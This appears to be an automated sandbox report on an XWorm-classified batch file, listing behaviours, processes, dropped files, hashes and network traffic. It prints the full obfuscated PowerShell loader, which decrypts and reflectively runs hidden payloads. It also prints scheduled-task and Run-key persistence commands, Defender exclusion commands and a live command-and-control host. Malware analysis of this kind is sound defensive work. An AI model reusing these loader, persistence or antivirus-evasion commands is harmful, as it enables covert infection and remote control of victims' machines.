Analysis Overview
SHA256
4834211e93e75693c4160a7330bcda21b24edd87a84f10a8505a6dc9ba33ff8b
Threat Level: Known bad
The file $77-X.bat was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Executes dropped EXE
Drops startup file
Adds Run key to start application
Looks up external IP address via web service
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: AddClipboardFormatListener
Creates scheduled task(s)
Modifies registry class
Suspicious use of SetWindowsHookEx
Uses Task Scheduler COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-27 00:19
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-27 00:19
Reported
2024-05-27 00:24
Platform
win10-20240404-en
Max time kernel
296s
Max time network
298s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-Powershell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-Powershell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\$77-Powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Microsoft\Windows\CurrentVersion\Run\$77-Powershell = "C:\\Users\\Admin\\$77-Powershell.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$77-X.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPnNsluUEOHea797yl0tWkCC/heLAWiLpsoOb/SrKNw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fuqFtVC1XQgmsXcvgKnH8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $yhRKD=New-Object System.IO.MemoryStream(,$param_var); $GWQOX=New-Object System.IO.MemoryStream; $LqTgi=New-Object System.IO.Compression.GZipStream($yhRKD, [IO.Compression.CompressionMode]::Decompress); $LqTgi.CopyTo($GWQOX); $LqTgi.Dispose(); $yhRKD.Dispose(); $GWQOX.Dispose(); $GWQOX.ToArray();}function execute_function($param_var,$param2_var){ $yeAoI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PIwmL=$yeAoI.EntryPoint; $PIwmL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$77-X.bat';$hGELm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$77-X.bat').Split([Environment]::NewLine);foreach ($yqNtJ in $hGELm) { if ($yqNtJ.StartsWith(':: ')) { $Xvpis=$yqNtJ.Substring(3); break; }}$payloads_var=[string[]]$Xvpis.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_565_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_565.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_565.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_565.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPnNsluUEOHea797yl0tWkCC/heLAWiLpsoOb/SrKNw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fuqFtVC1XQgmsXcvgKnH8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $yhRKD=New-Object System.IO.MemoryStream(,$param_var); $GWQOX=New-Object System.IO.MemoryStream; $LqTgi=New-Object System.IO.Compression.GZipStream($yhRKD, [IO.Compression.CompressionMode]::Decompress); $LqTgi.CopyTo($GWQOX); $LqTgi.Dispose(); $yhRKD.Dispose(); $GWQOX.Dispose(); $GWQOX.ToArray();}function execute_function($param_var,$param2_var){ $yeAoI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PIwmL=$yeAoI.EntryPoint; $PIwmL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_565.bat';$hGELm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_565.bat').Split([Environment]::NewLine);foreach ($yqNtJ in $hGELm) { if ($yqNtJ.StartsWith(':: ')) { $Xvpis=$yqNtJ.Substring(3); break; }}$payloads_var=[string[]]$Xvpis.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\$77-Powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-Powershell.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77-Powershell" /tr "C:\Users\Admin\$77-Powershell.exe"
C:\Users\Admin\$77-Powershell.exe
C:\Users\Admin\$77-Powershell.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | uk2.localto.net | udp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| US | 8.8.8.8:53 | 41.173.79.40.in-addr.arpa | udp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
Files
memory/2100-4-0x00007FFA60383000-0x00007FFA60384000-memory.dmp
memory/2100-5-0x000002236A760000-0x000002236A782000-memory.dmp
memory/2100-10-0x00007FFA60380000-0x00007FFA60D6C000-memory.dmp
memory/2100-12-0x00007FFA60380000-0x00007FFA60D6C000-memory.dmp
memory/2100-11-0x000002236A910000-0x000002236A986000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3kp232mp.z30.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/2100-23-0x00007FFA60380000-0x00007FFA60D6C000-memory.dmp
memory/2100-28-0x000002236A900000-0x000002236A908000-memory.dmp
memory/2100-29-0x000002236A990000-0x000002236A9CC000-memory.dmp
memory/4264-42-0x00007FFA60380000-0x00007FFA60D6C000-memory.dmp
memory/4264-44-0x00007FFA60380000-0x00007FFA60D6C000-memory.dmp
memory/4264-45-0x00007FFA60380000-0x00007FFA60D6C000-memory.dmp
memory/4264-75-0x00007FFA60380000-0x00007FFA60D6C000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | ad5cd538ca58cb28ede39c108acb5785 |
| SHA1 | 1ae910026f3dbe90ed025e9e96ead2b5399be877 |
| SHA256 | c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033 |
| SHA512 | c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | faf4d638d1b293ee2ac0877cd71c52b2 |
| SHA1 | e9f968603f0b62887ce2a35c5b2324c39fd3244a |
| SHA256 | d1e4018b6c93f56ff87768aaaa355e80de219f8a4098e9a8d1ecaa0b4341ec14 |
| SHA512 | 5b0fa7e2353d1d5a18b955429eb59229cf38daffc25d54e72f8395bd01abba0c454f92c0f89eabc5efcbf0bce14c0ae5e51204cf6376e076ea4d4637569fa71c |
C:\Users\Admin\AppData\Roaming\startup_str_565.vbs
| MD5 | be241cf5511c3fc96af7f5646baa2e57 |
| SHA1 | 7e9919e56c4157e49837a71f0777e4b18d164698 |
| SHA256 | ec518f319c166f521b2e9df752d4f572473add3f6bbba64d8ad452823a970b71 |
| SHA512 | e73d8080112bd931f37d55834a5145d5548fc93c200ec64c5c7ea4e23bff8b4adbd8502c2d8550b617e2e0d39d205fbd38ac5d637b7cc9f9e15f3738f1226e1a |
C:\Users\Admin\AppData\Roaming\startup_str_565.bat
| MD5 | 0df87c21c846f4ad6db596238e9ef503 |
| SHA1 | 255c312dd6eeebf721f4885b0b23a6ca93a8695b |
| SHA256 | 4834211e93e75693c4160a7330bcda21b24edd87a84f10a8505a6dc9ba33ff8b |
| SHA512 | 00eb13d025ee21296c62214e62cc459878a5254153b3059758e819c8e1e89af06262224a3ca5008c920c97239513844739d3d2d53d49ab062badecb9d21e98f9 |
memory/1384-113-0x000001F1F7040000-0x000001F1F705E000-memory.dmp
memory/2100-117-0x00007FFA60380000-0x00007FFA60D6C000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 360d32478f749a3165b1ba2399b8a9e1 |
| SHA1 | b1b063b974690fe5ecae225223a8a0a985706916 |
| SHA256 | 620daabae904c2abbd391a6fb0a8c4bdfeb77a622cc644ef33f40911ac42ad8c |
| SHA512 | 764c100e1ea17748a905581901377fdc587883208581ed540fac8568724002bd7468856cddfe1e794febfd5eca7ee64980e5894348903afec07b899715b12dbf |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | ccac9a966520b45410fe990364c8ecea |
| SHA1 | ec5339356a7230b6cbf91bf8b6f275cc4768f124 |
| SHA256 | 17ddb2c788ab752a73bd41d6ab1634ca6b5e61c0441b42dbb425e5d47d7ba5e5 |
| SHA512 | ddfe7774e67778cadf3a928012962267e60ec90007615ccbfad6de5ed257926ff2f3ca2d8615190f12383daf7b69ed3a252a30292f8e855c4aa1f2071dafe371 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 2675b2e71a115da8de2453b34d11d6ea |
| SHA1 | cbbf7ebcec664e01910cb5a4976076843b8ff31b |
| SHA256 | a558dc50c0ea305d016fff78661673338447e349e38328632a71e279ec2b4b1d |
| SHA512 | 4b296acbdeade1ff2195c4ffcbeec5bceade8bc0c972b8d7edb934e10f296b3803d68effc40c247abdc812a70a20e8960e0e04b999f5cb05004ca4938358ff85 |
C:\Users\Admin\$77-Powershell.exe
| MD5 | f7722b62b4014e0c50adfa9d60cafa1c |
| SHA1 | f31c17e0453f27be85730e316840f11522ddec3e |
| SHA256 | ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa |
| SHA512 | 7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4 |
memory/4532-353-0x000002C3D2170000-0x000002C3D21AC000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-27 00:19
Reported
2024-05-27 00:24
Platform
win10v2004-20240508-en
Max time kernel
298s
Max time network
300s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-Powershell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-Powershell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\$77-Powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77-Powershell = "C:\\Users\\Admin\\$77-Powershell.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$77-X.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPnNsluUEOHea797yl0tWkCC/heLAWiLpsoOb/SrKNw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fuqFtVC1XQgmsXcvgKnH8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $yhRKD=New-Object System.IO.MemoryStream(,$param_var); $GWQOX=New-Object System.IO.MemoryStream; $LqTgi=New-Object System.IO.Compression.GZipStream($yhRKD, [IO.Compression.CompressionMode]::Decompress); $LqTgi.CopyTo($GWQOX); $LqTgi.Dispose(); $yhRKD.Dispose(); $GWQOX.Dispose(); $GWQOX.ToArray();}function execute_function($param_var,$param2_var){ $yeAoI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PIwmL=$yeAoI.EntryPoint; $PIwmL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$77-X.bat';$hGELm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$77-X.bat').Split([Environment]::NewLine);foreach ($yqNtJ in $hGELm) { if ($yqNtJ.StartsWith(':: ')) { $Xvpis=$yqNtJ.Substring(3); break; }}$payloads_var=[string[]]$Xvpis.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_165_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_165.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_165.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_165.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPnNsluUEOHea797yl0tWkCC/heLAWiLpsoOb/SrKNw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fuqFtVC1XQgmsXcvgKnH8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $yhRKD=New-Object System.IO.MemoryStream(,$param_var); $GWQOX=New-Object System.IO.MemoryStream; $LqTgi=New-Object System.IO.Compression.GZipStream($yhRKD, [IO.Compression.CompressionMode]::Decompress); $LqTgi.CopyTo($GWQOX); $LqTgi.Dispose(); $yhRKD.Dispose(); $GWQOX.Dispose(); $GWQOX.ToArray();}function execute_function($param_var,$param2_var){ $yeAoI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PIwmL=$yeAoI.EntryPoint; $PIwmL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_165.bat';$hGELm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_165.bat').Split([Environment]::NewLine);foreach ($yqNtJ in $hGELm) { if ($yqNtJ.StartsWith(':: ')) { $Xvpis=$yqNtJ.Substring(3); break; }}$payloads_var=[string[]]$Xvpis.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\$77-Powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-Powershell.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77-Powershell" /tr "C:\Users\Admin\$77-Powershell.exe"
C:\Users\Admin\$77-Powershell.exe
C:\Users\Admin\$77-Powershell.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| NL | 23.62.61.194:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 194.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | uk2.localto.net | udp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| GB | 140.238.91.110:4782 | uk2.localto.net | tcp |
| US | 8.8.8.8:53 | 45.19.74.20.in-addr.arpa | udp |
